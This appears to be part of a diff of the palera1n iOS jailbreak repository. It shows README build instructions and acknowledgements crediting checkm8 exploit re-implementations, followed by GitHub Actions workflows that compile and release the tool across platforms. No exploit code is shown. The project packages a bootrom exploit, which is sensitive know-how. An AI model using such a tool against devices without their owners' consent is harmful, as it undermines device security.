```
|
||||
|
||||
When building, many precompiled artifacts are embedded inside of the program. Such as, [PongoOS](https://github.com/palera1n/pongoos), [jbinit](https://github.com/palera1n/jbinit), and the [Loader](https://github.com/palera1n/loader).
|
||||
|
||||
Make sure these files are present.\
|
||||
*NOTE: [PongoOS](https://github.com/palera1n/pongoos) BIN and KPF is absolutely required when building.*
|
||||
```sh
|
||||
embedded/Pongo.bin
|
||||
embedded/checkra1n-kpf-pongo
|
||||
embedded/binpack.dmg # not required with WITH_BINPACK=0
|
||||
embedded/ramdisk.dmg # not required with WITH_RAMDISK=0
|
||||
```
|
||||
|
||||
|
||||
### macOS
|
||||
|
||||
- [Xcode](https://developer.apple.com/xcode/) and [Command Line Tools](https://developer.apple.com/download/all/)
|
||||
- [Rust](https://rustup.rs/)
|
||||
```sh
|
||||
brew install cmake \
|
||||
autoconf \
|
||||
automake \
|
||||
libtool \
|
||||
pkg-config
|
||||
```
|
||||
|
||||
### Debian / Ubuntu Linux
|
||||
|
||||
- [Rust](https://rustup.rs/)
|
||||
|
||||
```sh
|
||||
sudo apt install -y \
|
||||
build-essential \
|
||||
cmake \
|
||||
autoconf \
|
||||
automake \
|
||||
libtool \
|
||||
pkg-config
|
||||
```
|
||||
|
||||
### Windows
|
||||
|
||||
- [MSYS2](https://www.msys2.org/)
|
||||
|
||||
```sh
|
||||
pacman -S \
|
||||
git \
|
||||
mingw-w64-x86_64-toolchain \
|
||||
mingw-w64-x86_64-cmake \
|
||||
mingw-w64-x86_64-libusb \
|
||||
mingw-w64-x86_64-rust \
|
||||
libtool \
|
||||
openssl \
|
||||
openssl-devel \
|
||||
python-devel \
|
||||
autoconf \
|
||||
automake \
|
||||
zip \
|
||||
vim \
|
||||
make \
|
||||
patch
|
||||
```
|
||||
|
||||
### Compiling
|
||||
|
||||
```sh
|
||||
# macOS / Linux
|
||||
make palera1n
|
||||
# iOS
|
||||
make palera1n_xcode PLATFORM=iphoneos WITH_STATIC=1
|
||||
# MinGW environment
|
||||
make palera1n_mingw
|
||||
```
|
||||
|
||||
## Acknowledgements
|
||||
|
||||
- [mineek](https://github.com/mineek) - Checkm8 exploit re-implementation (libopenra1n), based off [gaster](https://github.com/0x7ff/gaster)
|
||||
- [kok3shidoll](https://github.com/kok3shidoll) - Checkm8 (1337) exploit re-implementation (libciderra1n), PongoOS patches, ROP chain generator
|
||||
- [checkra1n](https://checkra.in) - Checkra1n, PongoOS, payloads, DFU helper & device assets
|
||||
- [staturnz](https://github.com/staturnz) - Liteusb, Loader contributions
|
||||
- [libusb](https://github.com/libimobiledevice/libimobiledevice) - Library for access to usb-devices, used by libopenra1n
|
||||
- [idevice](https://github.com/jkcoxson/idevice) - Library for access to usbmuxd devices
|
||||
- [sarah](https://github.com/plooshi) - Plooshfinder, plooshinit, various legacy patches
|
||||
- [Procursus](https://github.com/ProcursusTeam/Procursus) - Bootstrap & binpack
|
||||
- [tealbathingsuit](https://github.com/tealbathingsuit) - Tweak injection ([ElleKit](https://github.com/tealbathingsuit/ellekit))
|
||||
- [sbingner](https://github.com/sbingner) - Substitute
|
||||
- [elihwyma](https://github.com/elihwyma) - Package manager ([Sileo](https://github.com/Sileo/Sileo)) & [Pogo](https://github.com/elihwyma/Pogo)
|
||||
- [kirb](https://github.com/kirb) - Package manager ([Zebra](https://github.com/zbrateam/Zebra))
|
||||
- [lrdsnow](https://github.com/lrdsnow) - TvOS package manager ([PurePKG](https://github.com/Lrdsnow/purepkg)).
|
||||
- [opa334](https://github.com/opa334) - Cfprefs hook
|
||||
- [itsnebulalol](https://github.com/itsnebulalol) - Palera1n v1
|
||||
- [llsc12](https://github.com/llsc12) - Palera1n loader v1
|
||||
- [tihmstar](https://github.com/tihmstar) - Jbinit v1
|
||||
- [nekohaxx](https://github.com/nekohaxx) - Contributions
|
||||
|
||||
## License
|
||||
|
||||
Project is licensed under the MIT license. You can see the full details of the license [here](https://github.com/khcrysalis/PlumeImpactor/blob/main/LICENSE). Some components may be licensed under different licenses, see their respective directories for details.
|
||||
|
||||
Many things included in this program are made and developed by the Checkra1n team. Please do NOT contact the Checkra1n team for Palera1n, they are not responsible for this program. The original Checkra1n payloads are from [here](https://checkra.in/1337).
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 375 KiB |
@@ -0,0 +1,624 @@
|
||||
name: "Build palera1n"
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
tags:
|
||||
- v*
|
||||
paths:
|
||||
- src/**
|
||||
- 1stparty/**
|
||||
- CMakeLists.txt
|
||||
- Makefile
|
||||
|
||||
env:
|
||||
TAG: ${{ github.ref_name }}
|
||||
|
||||
jobs:
|
||||
build-loader:
|
||||
runs-on: macos-15
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
with:
|
||||
ref: 9faf50968854aa47de65231e2985d60f6944d627
|
||||
repository: palera1n/loader
|
||||
|
||||
- name: Install dependencies (brew)
|
||||
run: |
|
||||
brew install gnu-sed
|
||||
|
||||
- name: Select correct Xcode
|
||||
uses: mobiledevops/xcode-select-version-action@7b50160de7c8bd6a8c4ee2c2e6b5ee0983886c0b # v1.1.0
|
||||
with:
|
||||
xcode-select-version: 16.4
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
agvtool new-version -all $(git rev-parse HEAD)
|
||||
make package PLATFORM=iphoneos PACKAGE_NAME=palera1nLoader
|
||||
make package PLATFORM=appletvos PACKAGE_NAME=palera1nLoaderTV
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: _loader
|
||||
path: |
|
||||
packages/*
|
||||
|
||||
build-ramdisk:
|
||||
runs-on: macos-15
|
||||
needs: [build-loader]
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
with:
|
||||
ref: 7e1f6e122c3a45fc45e939293c7e2eaa1889731f
|
||||
repository: palera1n/jbinit
|
||||
submodules: true
|
||||
|
||||
- name: Download loader artifacts
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _loader
|
||||
|
||||
- name: Select correct Xcode
|
||||
uses: mobiledevops/xcode-select-version-action@7b50160de7c8bd6a8c4ee2c2e6b5ee0983886c0b # v1.1.0
|
||||
with:
|
||||
xcode-select-version: 16.4
|
||||
|
||||
- name: Install dependencies (brew)
|
||||
run: |
|
||||
brew install make gnu-sed ldid-procursus fakeroot
|
||||
|
||||
- name: Obtain artifacts
|
||||
run: |
|
||||
curl -LO https://static.palera.in/binpack.tar
|
||||
install -m644 binpack.tar palera1nLoader{TV,}.ipa src
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
gmake -j1 tools
|
||||
gmake -j$(sysctl -n hw.ncpu)
|
||||
|
||||
- name: Prepare upload directory
|
||||
run: |
|
||||
mkdir upload
|
||||
mv src/ramdisk.dmg upload/
|
||||
mv src/binpack.dmg upload/
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: _embedded
|
||||
path: |
|
||||
upload/*
|
||||
|
||||
build-pongo:
|
||||
runs-on: macos-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
with:
|
||||
ref: e98323f8a09abd80fc4cbcd74dee023b91a1ec22
|
||||
repository: palera1n/PongoOS
|
||||
|
||||
- name: Install dependencies (brew)
|
||||
run: |
|
||||
brew install make
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
gmake -j$(sysctl -n hw.ncpu)
|
||||
|
||||
- name: Prepare upload directory
|
||||
run: |
|
||||
mkdir upload
|
||||
mv build/Pongo.bin upload/
|
||||
mv build/checkra1n-kpf-pongo upload/
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: _pongo
|
||||
path: |
|
||||
upload/*
|
||||
|
||||
build-linux:
|
||||
runs-on: ubuntu-latest
|
||||
needs: [build-pongo, build-ramdisk]
|
||||
|
||||
strategy:
|
||||
matrix:
|
||||
triple:
|
||||
- i486-linux-musl
|
||||
- x86_64-linux-musl
|
||||
- armel-linux-musleabi
|
||||
- aarch64-linux-musl
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
with:
|
||||
token: ${{ secrets.BUILD_GITHUB_TOKEN }}
|
||||
submodules: recursive
|
||||
|
||||
- name: Download Pongo
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _pongo
|
||||
path: embedded/
|
||||
|
||||
- name: Download embedded artifacts
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _embedded
|
||||
path: embedded/
|
||||
|
||||
- name: Download musl toolchain
|
||||
run: |
|
||||
curl -u ${{ secrets.ACTIONS_RESOURCES_LOGIN }} -LO https://static.palera.in/action-resources/musl-cross/${{ matrix.triple }}-cross.tar.zst
|
||||
tar --zstd -xf ${{ matrix.triple }}-cross.tar.zst
|
||||
find ./${{ matrix.triple }}-cross -name "*.la" -type f -delete
|
||||
echo "$(pwd)/${{ matrix.triple }}-cross/bin" >> $GITHUB_PATH
|
||||
|
||||
- name: Install Rust target
|
||||
run: |
|
||||
case "${{ matrix.triple }}" in
|
||||
i486-linux-musl)
|
||||
rustup target add i686-unknown-linux-musl
|
||||
;;
|
||||
x86_64-linux-musl)
|
||||
rustup target add x86_64-unknown-linux-musl
|
||||
;;
|
||||
armel-linux-musleabi)
|
||||
rustup target add arm-unknown-linux-musleabi
|
||||
;;
|
||||
aarch64-linux-musl)
|
||||
rustup target add aarch64-unknown-linux-musl
|
||||
;;
|
||||
esac
|
||||
|
||||
- name: Install dependencies (apt)
|
||||
run: |
|
||||
sudo apt update
|
||||
sudo apt install -y build-essential cmake autoconf automake libtool pkg-config zstd jq
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
SYSROOT_PATH="$("$PWD/${{ matrix.triple }}-cross/bin/${{ matrix.triple }}-gcc" -print-sysroot)"
|
||||
|
||||
CC="${{ matrix.triple }}-gcc" CXX="${{ matrix.triple }}-g++" \
|
||||
make palera1n \
|
||||
WITH_STATIC=1 \
|
||||
WITH_TUI=1 \
|
||||
WITH_CIDERRAIN=1 \
|
||||
BUILD_TYPE=Release \
|
||||
CMAKE_SYSROOT="$SYSROOT_PATH" \
|
||||
CROSS_HOST_TRIPLE="${{ matrix.triple }}" \
|
||||
JOBS=$(nproc)
|
||||
${{ matrix.triple }}-strip -s build/palera1n
|
||||
|
||||
- name: Package
|
||||
run: |
|
||||
cd build
|
||||
case "${{ matrix.triple }}" in
|
||||
i486-linux-musl)
|
||||
cpack
|
||||
mv palera1n.tar.gz palera1n-linux-x86.tar.gz
|
||||
;;
|
||||
x86_64-linux-musl)
|
||||
cpack
|
||||
mv palera1n.tar.gz palera1n-linux-x86_64.tar.gz
|
||||
;;
|
||||
armel-linux-musleabi)
|
||||
cpack
|
||||
mv palera1n.tar.gz palera1n-linux-armel.tar.gz
|
||||
;;
|
||||
aarch64-linux-musl)
|
||||
cpack
|
||||
mv palera1n.tar.gz palera1n-linux-arm64.tar.gz
|
||||
;;
|
||||
esac
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: palera1n-${{ matrix.triple }}
|
||||
path: |
|
||||
build/*.tar.gz
|
||||
|
||||
build-linux-appimage:
|
||||
runs-on: ${{ matrix.os }}
|
||||
needs: [build-pongo, build-ramdisk]
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
include:
|
||||
- os: ubuntu-24.04
|
||||
arch: x86_64
|
||||
- os: ubuntu-24.04-arm
|
||||
arch: aarch64
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
with:
|
||||
token: ${{ secrets.BUILD_GITHUB_TOKEN }}
|
||||
submodules: recursive
|
||||
|
||||
- name: Download Pongo
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _pongo
|
||||
path: embedded/
|
||||
|
||||
- name: Download embedded artifacts
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _embedded
|
||||
path: embedded/
|
||||
|
||||
- name: Install dependencies (apt)
|
||||
run: |
|
||||
sudo apt update
|
||||
sudo apt install -y build-essential cmake autoconf automake libtool pkg-config zstd jq libwxgtk3.2-dev
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
make package WITH_GUI=1 WITH_TUI=1 WITH_CIDERRAIN=1 BUILD_TYPE=Release JOBS=$(nproc)
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: palera1n-${{ matrix.arch }}-linux-gui
|
||||
path: |
|
||||
build/*.AppImage
|
||||
|
||||
build-macos:
|
||||
runs-on: ${{ matrix.os }}
|
||||
needs: [build-pongo, build-ramdisk]
|
||||
|
||||
strategy:
|
||||
matrix:
|
||||
include:
|
||||
- os: macos-latest
|
||||
arch: arm64
|
||||
- os: macos-15-intel
|
||||
arch: x86_64
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
with:
|
||||
token: ${{ secrets.BUILD_GITHUB_TOKEN }}
|
||||
submodules: recursive
|
||||
|
||||
- name: Download Pongo
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _pongo
|
||||
path: embedded/
|
||||
|
||||
- name : Download embedded artifacts
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _embedded
|
||||
path: embedded/
|
||||
|
||||
- name: Install dependencies (brew)
|
||||
run: |
|
||||
brew update
|
||||
brew install make cmake autoconf automake libtool pkg-config
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
gmake palera1n WITH_STATIC=1 WITH_GUI=1 WITH_TUI=1 WITH_CIDERRAIN=1 BUILD_TYPE=Release JOBS=$(sysctl -n hw.ncpu)
|
||||
strip -x build/palera1n.app/Contents/MacOS/palera1n
|
||||
|
||||
- name: Package
|
||||
run: |
|
||||
cd build && zip -r palera1n-macos-${{ matrix.arch }}.zip palera1n.app
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: palera1n-macos-${{ matrix.arch }}
|
||||
path: |
|
||||
build/palera1n-macos-${{ matrix.arch }}.zip
|
||||
|
||||
build-ios:
|
||||
runs-on: macos-latest
|
||||
needs: [build-pongo, build-ramdisk]
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
with:
|
||||
token: ${{ secrets.BUILD_GITHUB_TOKEN }}
|
||||
submodules: recursive
|
||||
|
||||
- name: Setup Procursus
|
||||
uses: beerpiss/procursus-action@fbd8e4db6742ffc2c300b4995587a57bcb66654b # v2.0.2
|
||||
with:
|
||||
cache: true
|
||||
mirror: 'https://apt.procurs.us/'
|
||||
|
||||
- name: Download Pongo
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _pongo
|
||||
path: embedded/
|
||||
|
||||
- name : Download embedded artifacts
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _embedded
|
||||
path: embedded/
|
||||
|
||||
- name: Install dependencies (brew)
|
||||
run: |
|
||||
brew update
|
||||
brew install make cmake libtool gnu-sed
|
||||
|
||||
- name: Build
|
||||
run: |
|
||||
gmake palera1n PLATFORM=iphoneos WITH_STATIC=1 WITH_CIDERRAIN=1 BUILD_TYPE=Release JOBS=$(sysctl -n hw.ncpu)
|
||||
|
||||
- name: Package
|
||||
run: |
|
||||
cd build
|
||||
cpack -DCPACK_PACKAGE_FILE_NAME="palera1n-iphoneos-arm" \
|
||||
-DCPACK_PACKAGING_INSTALL_PREFIX="/usr/"
|
||||
cpack -DCPACK_PACKAGE_FILE_NAME="palera1n-iphoneos-arm64" \
|
||||
-DCPACK_PACKAGING_INSTALL_PREFIX="/var/jb/usr/"
|
||||
|
||||
mkdir -p palera1n-iphoneos-arm64/DEBIAN
|
||||
mkdir -p palera1n-iphoneos-arm/DEBIAN
|
||||
tar -xf palera1n-iphoneos-arm64.tar.gz -C palera1n-iphoneos-arm64
|
||||
tar -xf palera1n-iphoneos-arm.tar.gz -C palera1n-iphoneos-arm
|
||||
cp ../resources/control palera1n-iphoneos-arm64/DEBIAN/control
|
||||
cp ../resources/control palera1n-iphoneos-arm/DEBIAN/control
|
||||
|
||||
VERSION=$(grep '^#define PALERAIN_VERSION' ../src/globals.h | cut -d'"' -f2 | tr -cd '0-9.')
|
||||
|
||||
gsed 's|@DEB_ARCH@|iphoneos-arm|g' -i palera1n-iphoneos-arm/DEBIAN/control
|
||||
gsed 's|@DEB_ARCH@|iphoneos-arm64|g' -i palera1n-iphoneos-arm64/DEBIAN/control
|
||||
gsed 's|@DEB_VERSION@|'"$VERSION"'|g' -i palera1n-iphoneos-arm/DEBIAN/control
|
||||
gsed 's|@DEB_VERSION@|'"$VERSION"'|g' -i palera1n-iphoneos-arm64/DEBIAN/control
|
||||
|
||||
dpkg-deb --build palera1n-iphoneos-arm64
|
||||
dpkg-deb --build palera1n-iphoneos-arm
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: palera1n-iphoneos-arm64
|
||||
path: |
|
||||
build/*.deb
|
||||
|
||||
build-macos-universal:
|
||||
runs-on: macos-latest
|
||||
needs: [build-macos]
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
|
||||
- name: Download arm64 artifacts
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: palera1n-macos-arm64
|
||||
|
||||
- name: Download x86_64 artifacts
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: palera1n-macos-x86_64
|
||||
|
||||
- name: Install dependencies (brew)
|
||||
run: |
|
||||
brew update
|
||||
brew install create-dmg
|
||||
|
||||
- name: Create universal binary
|
||||
run: |
|
||||
mkdir -p dist build
|
||||
unzip -o palera1n-macos-arm64.zip -d build/palera1n-macos-arm64
|
||||
unzip -o palera1n-macos-x86_64.zip -d dist/palera1n-macos-universal
|
||||
|
||||
lipo -create \
|
||||
build/palera1n-macos-arm64/palera1n.app/Contents/MacOS/palera1n \
|
||||
dist/palera1n-macos-universal/palera1n.app/Contents/MacOS/palera1n \
|
||||
-output build/palera1n-universal-bin
|
||||
|
||||
mv build/palera1n-universal-bin dist/palera1n-macos-universal/palera1n.app/Contents/MacOS/palera1n
|
||||
|
||||
- name: Package
|
||||
run: |
|
||||
create-dmg \
|
||||
--volname "palera1n-macos-universal" \
|
||||
--volicon "resources/drive.icns" \
|
||||
--background "resources/background.png" \
|
||||
--window-pos 200 120 \
|
||||
--window-size 510 350 \
|
||||
--icon-size 100 \
|
||||
--icon palera1n.app 160 155 \
|
||||
--hide-extension palera1n.app \
|
||||
--app-drop-link 350 155 \
|
||||
dist/palera1n-macos-universal.dmg dist/palera1n-macos-universal
|
||||
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: palera1n-macos-universal
|
||||
path: |
|
||||
dist/palera1n-macos-universal.dmg
|
||||
|
||||
# build-windows:
|
||||
# runs-on: windows-latest
|
||||
# needs: [build-pongo, build-ramdisk]
|
||||
|
||||
# steps:
|
||||
# - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
|
||||
|
||||
# - name: Download Pongo
|
||||
# uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
# with:
|
||||
# name: _pongo
|
||||
# path: embedded/
|
||||
|
||||
# - name: Download embedded artifacts
|
||||
# uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
# with:
|
||||
# name: _embedded
|
||||
# path: embedded/
|
||||
|
||||
# - name: Install dependencies (choco)
|
||||
# run: choco install nsis.portable
|
||||
|
||||
# - name: Install dependencies (msys2)
|
||||
# uses: msys2/setup-msys2@66cd2cce69caa17b53920067426061ca1de3a884 # v2.32.0
|
||||
# with:
|
||||
# msystem: MINGW64
|
||||
# install: >
|
||||
# git
|
||||
# mingw-w64-x86_64-toolchain
|
||||
# mingw-w64-x86_64-cmake
|
||||
# mingw-w64-x86_64-libusb
|
||||
# mingw-w64-x86_64-rust
|
||||
# mingw-w64-x86_64-nsis
|
||||
# mingw-w64-x86_64-jq
|
||||
# libtool
|
||||
# openssl
|
||||
# openssl-devel
|
||||
# python-devel
|
||||
# autoconf
|
||||
# automake
|
||||
# zip
|
||||
# vim
|
||||
# make
|
||||
# patch
|
||||
# update: true
|
||||
|
||||
# - name: Build
|
||||
# shell: msys2 {0}
|
||||
# run: |
|
||||
# make palera1n_mingw WITH_STATIC=1 WITH_GUI=1 BUILD_TYPE=Release JOBS=$(nproc)
|
||||
# strip -s build/palera1n.exe
|
||||
|
||||
# - name: Package
|
||||
# run: |
|
||||
# cd build && cpack -DCPACK_PACKAGE_FILE_NAME="palera1n-windows-x86_64-setup"
|
||||
|
||||
# - name: Upload
|
||||
# uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
# with:
|
||||
# name: palera1n-windows-x86_64
|
||||
# path: |
|
||||
# build/palera1n-windows-x86_64-setup.exe
|
||||
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.event_name == 'push' && startsWith(github.ref, 'refs/tags/v')
|
||||
needs: [
|
||||
build-ramdisk,
|
||||
build-pongo,
|
||||
build-linux,
|
||||
build-macos-universal,
|
||||
# build-windows,
|
||||
build-ios
|
||||
]
|
||||
|
||||
steps:
|
||||
- name: Download embedded artifacts
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _embedded
|
||||
path: embedded/
|
||||
|
||||
- name: Download Pongo
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: _pongo
|
||||
path: embedded/
|
||||
|
||||
- name: Download Linux i486 Artifact
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: palera1n-i486-linux-musl
|
||||
path: dist/
|
||||
|
||||
- name: Download Linux x86_64 Artifact
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: palera1n-x86_64-linux-musl
|
||||
path: dist/
|
||||
|
||||
- name: Download Linux armel Artifact
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: palera1n-armel-linux-musleabi
|
||||
path: dist/
|
||||
|
||||
- name: Download Linux x86_64 AppImage Artifact
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: palera1n-x86_64-linux-gui
|
||||
path: dist/
|
||||
|
||||
- name: Download Linux aarch64 AppImage Artifact
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: palera1n-aarch64-linux-gui
|
||||
path: dist/
|
||||
|
||||
- name: Download Linux aarch64 Artifact
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: palera1n-aarch64-linux-musl
|
||||
path: dist/
|
||||
|
||||
- name: Download macOS Universal Artifact
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: palera1n-macos-universal
|
||||
path: dist/
|
||||
|
||||
# - name: Download Windows Artifact
|
||||
# uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
# with:
|
||||
# name: palera1n-windows-x86_64
|
||||
# path: dist/
|
||||
|
||||
- name: Download iOS Artifact
|
||||
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # 8.0.1
|
||||
with:
|
||||
name: palera1n-iphoneos-arm64
|
||||
path: dist/
|
||||
|
||||
- name: Prepare artifacts
|
||||
run: |
|
||||
find . -maxdepth 1 -type f -print0 | tar --null -czf ../dist/resource.tar.gz --files-from=-
|
||||
working-directory: embedded
|
||||
|
||||
- name: Create Release
|
||||
uses: softprops/action-gh-release@3bb12739c298aeb8a4eeaf626c5b8d85266b0e65 # v3.0.2
|
||||
with:
|
||||
name: ${{ env.TAG }}
|
||||
tag_name: ${{ env.TAG }}
|
||||
files: |
|
||||
dist/*
|
||||
body: |
|
||||
## What's Changed
|
||||
|
||||
<!-- auto generated -->
|
||||
|
||||
## Files
|
||||
|
||||
- `palera1n-iphoneos-${arch}.deb`: Palera1n for iOS jailbroken environments.
|
||||
- `palera1n-linux-${arch}.tar.gz`: Palera1n for Linux on CPU architecture `${arch}`.
|
||||
- `palera1n-macos-universal.dmg`: Palera1n for macOS 10.11+.
|
||||
- `resources.tar.gz`: Precompiled embedded artifacts used for compiling this tool.
|
||||
generate_release_notes: true
|
||||
fail_on_unmatched_files: true
|
||||
draft: true
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
@@ -0,0 +1,85 @@
|
||||
name: "Upload debs"
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
version:
|
||||
description: "palera1n tag"
|
||||
required: true
|
||||
type: string
|
||||
release:
|
||||
types: [published]
|
||||
|
||||
env:
|
||||
TAG: ${{ github.event.inputs.version || github.event.release.tag_name }}
|
||||
|
||||
jobs:
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Download debs from tag
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh release download "${{ env.TAG }}"
|
||||
mkdir -p cdn-upload
|
||||
cp *.tar.gz cdn-upload/
|
||||
cp *.deb cdn-upload/
|
||||
cp *.dmg cdn-upload/
|
||||
|
||||
- name: Upload debs to repo
|
||||
if: github.repository == 'palera1n/palera1n'
|
||||
env:
|
||||
USERNAME: GitHub-Actions
|
||||
API_TOKEN: ${{ secrets.BUILD_GITHUB_TOKEN }}
|
||||
GH_REPO: palera1n/repo.palera.in
|
||||
run: |
|
||||
git clone https://$USERNAME:[email protected]/$GH_REPO.git repo-upload
|
||||
|
||||
rm -rf repo-upload/dists/stable/main/binary-iphoneos-arm{,64}/palera1n*.deb
|
||||
cp palera1n-iphoneos-arm64.deb repo-upload/pool/iphoneos-arm64/palera1n-iphoneos-arm64.deb
|
||||
cp palera1n-iphoneos-arm.deb repo-upload/pool/iphoneos-arm/palera1n-iphoneos-arm.deb
|
||||
|
||||
cd repo-upload
|
||||
|
||||
git config user.name "$USERNAME"
|
||||
git config user.email "[email protected]"
|
||||
|
||||
git add .
|
||||
git commit -m "Update palera1n for ${{ env.TAG }}" || exit 0
|
||||
git push https://$USERNAME:[email protected]/$GH_REPO.git
|
||||
|
||||
- name: Upload artifacts to cdn
|
||||
if: github.repository == 'palera1n/palera1n'
|
||||
uses: wangyucode/sftp-upload-action@v3
|
||||
with:
|
||||
host: ${{ secrets.NICKCHAN_FTP_HOST }}
|
||||
port: ${{ secrets.NICKCHAN_FTP_PORT }}
|
||||
username: palera1n
|
||||
password: ${{ secrets.NICKCHAN_FTP_PASS }}
|
||||
forceUpload: true
|
||||
dryRun: false
|
||||
localDir: 'cdn-upload'
|
||||
remoteDir: "/palera1n/c-rewrite/releases/${{ env.TAG }}"
|
||||
|
||||
- name: Bump palen1x
|
||||
if: github.repository == 'palera1n/palera1n'
|
||||
env:
|
||||
USERNAME: GitHub-Actions
|
||||
API_TOKEN: ${{ secrets.BUILD_GITHUB_TOKEN }}
|
||||
GH_REPO: palera1n/palen1x
|
||||
